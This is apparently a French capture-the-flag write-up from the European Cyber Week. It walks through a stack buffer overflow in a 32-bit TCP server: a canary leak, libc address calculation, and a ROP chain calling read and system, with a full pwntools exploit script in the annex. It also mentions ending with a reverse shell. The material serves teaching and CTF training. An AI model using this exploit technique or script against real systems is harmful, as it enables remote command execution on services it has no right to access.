L’European Cyber Week est un CTF qui a été organisé pour les étudiants dans le domaine de la cyberdéfense. Ce CTF est découpé en deux phases, un premier CTF sous forme de Jeopardy puis un CTF présentiel pour les participants retenus. Cette épreuve est basée sur un binaire à exploiter pour obtenir un accès sur la machine distante.
Sommaire:
- Fonctionnement de l’exécutable
- Détection de la vulnérabilité
- Analyse statique
- Investigation avec gdb
- Exploit
- Annexe
- Références
Fonctionnement de l’exécutable
Avec la commande file on peut voir que le binaire est un exécutable Linux
Exécutons-le,
D’après les informations fourni à l’ECW, le binaire est un server tcp qui tourne sur le port 8888, lorsque nous nous connectons on se retrouve sur un menu. J’ai ici lancé le serveur sur ma machine d’où la connexion en 127.0.0.1 mais il faudra garder à l’esprit que le binaire à exploiter se trouve sur une machine de l’ECW dont aucun port n’est ouvert sauf le 8888. J’ai reconstitué l’environnement pour ce write-up.
Le choix n°3 nous donne un indice, le binaire semble lister les fichiers dans le dossier courant. Dans lequel on retrouve l’exécutable (server), l’image affichée lorsque du choix 5 (coffee.txt) et un mystérieux fichier flag.txt ;).
Ensuite le binaire liste le contenu du dossier /bin. Il contient les binaires suivant : nc cat sh, sur la machine de l’ECW.
Avant d’aller chercher le flag on va faire une petite reconnaissance du terrain ;).
Détection de la vulnérabilité
Nous allons essayer de trifouiller le binaire un peu dans tous les sens pour voir comment il réagit. Les principaux exploits se basent sur des failles de type Buffer Overflow ou Format String, on peut essayer d’entrer des %x ou %s mais le binaire ne semble pas les interprété. Cependant coté buffer overflow on tient quelque chose ;) :
Voilà ce qu’on obtient lorsqu’on entre quelque caractère supplémentaire dans l’option numéro 3. Le binaire affiche notre réponse jusque-là, normal. Cependant il affiche des caractères non imprimables ce qui paraît plus étrange. De plus coté serveur (en testant sur sa propre machine) on obtient un beau stack smashing detected *** : ./server terminated
L’exécutable tourne encore, on en conclut que c’est juste le thread qui gérait le client qui a crashé dû à l’entrée malicieuse.
Analyse statique
Après avoir fait une analyse superficielle il est temps de rentrer dans le binaire afin de mieux comprendre la vulnérabilité pour l’exploiter. Cette partie va faire intervenir nos compétences en reverse ;).
Pour anticiper un minimum sur l’exploit que l’on va devoir réaliser on regarde si la pile est exécutable avec la commande readelf :
La pile n’est pas exécutable (pas de E, petit rond rouge ;) ), on peut insérer du code machine (binaire) à l’intérieur mais il ne sera pas exécuté.
Intéressons-nous au code qui gère l’option 3 du menu. C’est assez simple de trouver le morceau, il faut trouver le bout de code qui affiche “Tu es sûr ? (y/n)” par exemple. En examinant les arguments passés aux fonctions on s’y retrouve.
push ebp
mov ebp,esp
sub esp,0x38
mov eax,gs:0x14 ; get canary
mov DWORD PTR [ebp-0xc],eax ; place canary
xor eax,eax
mov DWORD PTR [ebp-0x16],0x0 ; fill buffer with 0
mov DWORD PTR [ebp-0x12],0x0 ; fill buffer with 0
mov WORD PTR [ebp-0xe],0x0 ; fill buffer with 0
mov DWORD PTR [esp+0x4],0x8049171 ; "Tu es sûr ? (y/n) "
mov eax,DWORD PTR [ebp+0x8]
mov DWORD PTR [esp],eax
call 804890d
Le code ci-dessus correspond au début de la fonction qui gère l’option 3, on peut remarquer l’utilisation d’un canary (mov eax,gs:0x14).
Le canary est une valeur aléatoire qui se place avant l’adresse de retour, à la fin de la fonction la valeur du canary est vérifiée avant de faire le retour. C’est une protection contre les attaques de type buffer overflow. Cela explique le message stack smashing detected, nous avons écrasé le canary tout à l’heure.
On remarque une mise à zéro de la mémoire ce qui correspond à un buffer 10 octets de commençant à [ebp-0x16].
mov DWORD PTR [esp+0x8],0x80 ; count = 0x80
lea eax,[ebp-0x16] ; buffer address = ebp - 0x16
mov DWORD PTR [esp+0x4],eax ; buffer address
mov eax,DWORD PTR [ebp+0x8] ; fd
mov DWORD PTR [esp],eax
call 8048650 <read@plt> ; read(fd,buffer,0x80)
Ensuite la fonction read est appelée par le programme. Elle prend en paramètre un descripteur de socket, une adresse source et le nombre d’octets maximum à lire. Dans ce cas précis, cet appel est non sécurisé car on peut entrer plus d’octets (128) que ne peut contenir le buffer (8).
lea eax,[ebp-0x16] ; buffer address
mov DWORD PTR [esp+0xc],eax ; buffer address
mov DWORD PTR [esp+0x8],0x8049185 ; "Tu as choisi %s"
mov DWORD PTR [esp+0x4],0xff ; 255
mov DWORD PTR [esp],0x804b0c0 ; res
call 8048760 <snprintf@plt> ; snprintf(res,255,"Tu as choisi %s",buffer);
Le code ci-dessus appelle la fonction snprintf, son fonctionnement ressemble à la fonction printf mais la chaîne résultante est mise dans res. Le deuxième argument est le nombre d’octets total à écrire dans res. On ne peut pas entrer plus de 255 octets.
mov DWORD PTR [esp+0x4],0x804b0c0 ; res
mov eax,DWORD PTR [ebp+0x8] ; fd
mov DWORD PTR [esp],eax
call 804890d ; writestring(fd,res);
Ensuite la chaîne produite par snprintf est envoyée via le socket.
Mais alors Jamy pourquoi le programme affiche des caractères non imprimables ? C’est très simple, lors de l’appel de read aucun caractère null n’est placé à la fin du buffer. La fonction snprintf détermine la fin du buffer via le caractère null. Lorsqu’on ne déborde pas cela ne pose pas de problème car, on l’a vu, le programme met le buffer à 0. Mais lorsqu’on remplit entièrement le buffer, derrière nous avons des données comme le canary qui ne sont pas à 0 donc le canary fait partie de la chaine.
Investigation avec gdb
Maintenant nous allons faire de l’analyse dynamique. En posant un breakpoint à l’adresse 0x8048a78 juste après le read on peut examiner ce qu’il se passe. Voici une petite démonstration avec gdb. Dans le cas d’un fonctionnement normal,
On remarquera que le canary (à l’adresse $ebp - 0xc) commence par un octet null (0xfde84200).
Et voici ce qu’il se passe lorsqu’on entre plus de 10 octets :
On a écrasé le canary, ce qui provoque un stack smashing detected à la fin.
A partir du code assembleur et des investigations avec gdb on peut en déduire, l’état de la pile avant l’insertion des données.
Le buffer commence à ebp-0x16, il faudras donc 22 octets avant d’écraser la valeur enregistré de ebp puis eip.
Deuxième point, on remarque que la pile contient une adresse qui fait référence à la libc, c’est précisément l’adresse de read 0xf7ec0060 + 35 octets = 0xf7ec0083
La capture ci-dessus présente la fuite en rouge :
Exploit
Nous allons écrire un exploit de test avant d’écrire le final. L’exploit se passe en deux temps,
- Canary Leak
- Exécution du code voulu
Nous allons voler le canary pour pouvoir le réécrire lors de la deuxième partie de l’exploit. Lors de la deuxième partie nous essayerons de remplacer l’adresse de retour par celle de la fonction qui affiche un café :P.
Commencons par écrire le squelette de d’exploit, on commence par importer les différents module.
#!/usr/bin/python
import sys
import binascii
import struct
from pwn import *
def canary_leak():
pass
def exploit(canary):
pass
def main(argv):
canary = canary_leak()
print("[+] canary is %s " % (binascii.hexlify(canary))
exploit(canary)
if __name__=='__main__':
main(sys.argv)
Le module binascii permet d’afficher facilement des caractères au format hexadécimal, on l’utilise pour afficher le canary leaker. Le module pwn fournit un ensemble de fonction utilitaire pour faire des exploits, on l’utiliseras pour se connecter au server et envoyer notre payload. Le module struct permet de convertir des données (au format little endian par exemple)
On peut commencer par définir deux constantes au début de notre code,
IP_ADDR = '127.0.0.1' # Adresse ip du server à pwn
PORT = 8888 # port de connexion
Voici ensuite le code pour récupérer le canary,
def canary_leak():
conn = remote(IP_ADDR,PORT) # on se connecte en TCP à 127.0.0.1:8888
print("[+] connected for canary_leak")
print(conn.recv(1024)) # affiche la réponse du serveur
conn.send("3\n") # Choix numéro 3
print(conn.recv(1024)) # affiche la réponse du serveur
payload = "y"
payload+= "A"*9 # On rempli le buffer
payload+= "\n" # + le caractère de fin de ligne ça fait 11
conn.send(payload)
leak = conn.recv(1024) # On recoit ainsi une chaine avec ce que l'on a entré + le canary
index = 0 # On repère la fin de notre chaine
while leak[index] != "\n":
index+=1
index+=1
canary = leak[index:index+3] # On récupère ainsi les 3 dernier octets du canary
# Affiche la réponse du serveur
print(conn.recv(1024))
print(conn.recv(1024))
return "\x00"+canary # Le premier octet du canary est un octet null
On peut modifier le main de manière à récupérer plusieurs fois le canary
def main(argv):
for i in range(0,3):
canary = canary_leak() # récuperer le canary
print("[+] canary is %s " % (binascii.hexlify(canary)) # afficher en hexa le canary
On constate que le canary est le même pour chaque connexion ce qui est plutôt rassurant pour nous :P
Ensuite nous allons écrire notre exploit intermédiaire, celui-ci se contentera d’appeler la fonction qui affiche un café avec les bons paramètres. Pour cela nous allons faire du ROP (Return Oriented Programming), l’idée c’est de retourner sur un ou plusieurs morceaux de code appartenant au programme pour parvenir à nos fins.
Comme dirait Buzz, Vers l’infini et l’au-delà ! (du canary ;) )
def exploit(canary):
conn = remote(IP_ADDR,PORT)
print("[+] connected for exploit")
print(conn.recv(1024))
conn.send("3\n") # choix
print(conn.recv(1024))
payload = "y" # choix
payload+= "A"*9 # padding
payload+= canary # canary
payload+= "aaaa"* 2 # padding
payload+= struct.pack("<I",0x804b0c0) # EBP
payload+= struct.pack("<I",0x8048936) # ret2coffee
payload+= "AAAA" # next return
payload+= "\x04\x00\x00\x00" # descripteur de socket
payload+= "\n" # caractère fin
conn.send(payload)
print(conn.recv(1024))
print(conn.recv(1024))
Il faut 10 octets de padding, ensuite on replace le canary ce qui fait 14 octets. Ensuite on rajoute 8 octets de padding, puis on écrase ebp avec une adresse valide par exemple 0x804b0c0 (argument de snprintf). Ensuite on écrase l’adresse de retour avec celle de la fonction 0x8048936 qui affiche un café. Ensuite il faut préparer la pile comme si l’on exécutait la fonction, on place la prochaine adresse de retour “AAAA” (sans importance pour l’instant). La valeur 4 correspond au premier argument, c’est le descripteur de socket ( trouvé avec gdb en examinant les arguments de fonction).
Et voilà on a notre café alors que l’on était sur l’option 3.
Maintenant nous allons faire en sorte que le programme exécute une commande, voici l’idée :
read(fd,cmd,0xff);
system(cmd);
Dans un premier temps le programme doit réaliser la lecture de notre commande, puis ensuite l’exécuter pour cela on va avoir besoin de l’adresse des fonctions read et system. Vus précédemment nous connaissons l’adresse de read, nous allons déterminer celle de system. Modifions notre fonction leak.
def leak():
conn = remote(IP_ADDR,PORT)
print("[+] connected for canary_leak")
print(conn.recv(1024)) # afficher le menu
conn.send("3\n") # Choix numéro 3
print(conn.recv(1024)) # afficher le choix
payload = "y"
payload+= "A"*9 # On rempli le buffer
payload+= "\n" # + le caractère de fin de ligne ça fait 11
conn.send(payload)
leak = conn.recv(1024)
index = 0
while leak[index] != "\n": # On repère la fin de notre chaine
index+=1
index+=1
canary = leak[index:index+3] # On récupère les 3 dernier octets du canary
read = leak[index+7:index+7+4] # On récupère l'adresse de read + 35
# conversion en nombre
# -35 pour avoir l'adresse originale
read = struct.unpack("<I",read)[0] - 35
# afficher réponse du serveur
print(conn.recv(1024))
print(conn.recv(1024))
return ("\x00"+canary,read) # Le premier octet du canary est un octet null
La fonction ne change presque pas hormis que l’on récupère l’adresse de read puis on retourne le canary et l’adresse en un coup dans un tuple (thanks python :) ). En lançant l’exploit j’obtiens <strong>0xf767b060</strong>. Maintenant qu’on a l’adresse de read il faut calculer celle de system. Nous allons utiliser libc-database pour déterminer quelle libc est utilisée. Ensuite on calculera la différence en octets entre l’offset de system et l’offset de read.
Sur l’image ci-dessus on voit toutes les libc possibles qui ont une fonction read avec un offset terminant par 60 (d’après ce que j’ai obtenu comme adresse). On peut éliminer quelque possibilité en enlevant les libc qui sont en 64 bits (rappel le programme est en 32).
Petit calcul : 0xd4060 - 0x3a850 = 0x99810 et voilà, pour l’adresse de system nous ferons read - 0x99810.
Ce qui nous donne pour le main,
def main(argv):
canary,read = leak()
print("[+] canary is %s " % (binascii.hexlify(canary)))
print("[+] read is at %s" % hex(read))
system = read - 0x99810
print("[+] system is at %s" % hex(system))
exploit_system(canary,system,read)
Reprenons ensuite la fonction,
def exploit_system(canary,system,read):
conn = remote(IP_ADDR,PORT)
print("[+] connected for exploit")
print(conn.recv(1024))
conn.send("3\n")
print(conn.recv(1024))
payload = "y"
payload+= "A"*9
payload+= canary
payload+= "aaaa"*2
payload+= struct.pack("<I",0x804b0c0) # ebp
Jusquelà rien ne change. Ensuite on appelle read, on simule comme si on avait fait un call en empilant l’adresse de retour 0x08048636, et les arguments. Petit rappel la pile progresse vers les adresses basses mais nous nous progressons vers les adresses hautes. C’est pourquoi on écrit l’adresse avant les arguments qui sont placés dans l’ordre.
payload+= struct.pack("<I",read)
payload+= struct.pack("<I",0x08048636) # pop3ret
payload+= struct.pack("<I",4) # arg_1 descripteur de socket
payload+= struct.pack("<I",0x0804b0c0) # arg_2 command
payload+= struct.pack("<I",0xff) # arg_3 size
Ensuite vous me direz pourquoi 0x08048636 ? Tout simplement pour avancer dans la pile, car on a mis des arguments il faut les sauter pour dépiler la prochaine adresse de retour.
add esp,0x8
pop ebx
ret
On avance de 3*4 octets, on se retrouvera donc juste après les arguments de read et à ce moment on fait un ret. On appelle system, on place l’adresse de retour 0x08049126 (même principe ci-dessus mais pour dépiler seulement 4 octets), et les arguments. A la fin j’affiche un café pour être sûr que le programme n’a pas planté en route. conn.interactive() permet de passer comme son nom l’indique en interaction avec le programme pour entrer la commande.
payload+= struct.pack("<I",system)
payload+= struct.pack("<I",0x8049126) # pop1ret
payload+= struct.pack("<I",0x0804b0c0) # arg_1 command
payload+= struct.pack("<I",0x8048936) # ret2coffee
payload+= struct.pack("<I",4)*2 # arg_1 descripteur de socket
payload+= "\n"
conn.send(payload)
conn.interactive()
On exécute le script et il n’y a plus qu’à faire un reverse shell,
Et quelque part en Russie :P,
Annexe
Voici le script complet,
#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
import binascii
import struct
IP_ADDR = '127.0.0.1'
PORT = 8888
def leak():
conn = remote(IP_ADDR,PORT)
print("[+] connected for canary_leak")
print(conn.recv(1024)) # afficher le menu
conn.send("3\n") # Choix numéro 3
print(conn.recv(1024)) # afficher le choix
payload = "y"
payload+= "A"*9 # On rempli le buffer
payload+= "\n" # + le caractère de fin de ligne ça fait 11
conn.send(payload)
leak = conn.recv(1024)
index = 0
while leak[index] != "\n": # On repère la fin de notre chaine
index+=1
index+=1
canary = leak[index:index+3] # On récupère les 3 dernier octets du canary
read = leak[index+7:index+7+4] # On récupère l'adresse de read + 35
# conversion en nombre
# -35 pour avoir l'adresse originale
read = struct.unpack("<I",read)[0] - 35
# afficher réponse du serveur
print(conn.recv(1024))
print(conn.recv(1024))
return ("\x00"+canary,read) # Le premier octet du canary est un octet null
# Affiche un café
def exploit(canary):
conn = remote(IP_ADDR,PORT)
print("[+] connected for exploit")
print(conn.recv(1024))
conn.send("3\n")
print(conn.recv(1024))
payload = "y"
payload+= "A"*9
payload+= canary # canary
payload+= "aaaa"* 2 # padding
payload+= struct.pack("<I",0x8044bc0) # EBP
payload+= struct.pack("<I",0x8048936) # ret2coffee
payload+= "AAAA" # future return
payload+= "\x04\x00\x00\x00"
payload+= "\n"
conn.send(payload)
print(conn.recv(1024))
print(conn.recv(1024))
# Exécute la commande entrée avec system
def exploit_system(canary,system,read):
conn = remote(IP_ADDR,PORT)
print("[+] connected for exploit")
print(conn.recv(1024))
conn.send("3\n")
print(conn.recv(1024))
payload = "y"
payload+= "A"*9
payload+= canary
payload+= "aaaa"*2
payload+= struct.pack("<I",0x804b0c0) # ebp
payload+= struct.pack("<I",read)
payload+= struct.pack("<I",0x08048636) # pop3ret
payload+= struct.pack("<I",4) # arg_1 descripteur de socket
payload+= struct.pack("<I",0x0804b0c0) # arg_2 command
payload+= struct.pack("<I",0xff) # arg_3 size
payload+= struct.pack("<I",system)
payload+= struct.pack("<I",0x8049126) # pop1ret
payload+= struct.pack("<I",0x0804b0c0) # arg_1 command
payload+= struct.pack("<I",0x8048936) # ret2coffee
payload+= struct.pack("<I",4)*2 # arg_1 descripteur de socket
payload+= "\n"
conn.send(payload)
conn.interactive()
def main(argv):
canary,read = leak()
print("[+] canary is %s " % (binascii.hexlify(canary)))
print("[+] read is at %s" % hex(read))
system = read - 0x99810
print("[+] system is at %s" % hex(system))
exploit_system(canary,system,read)
if __name__=='__main__':
import sys
main(sys.argv)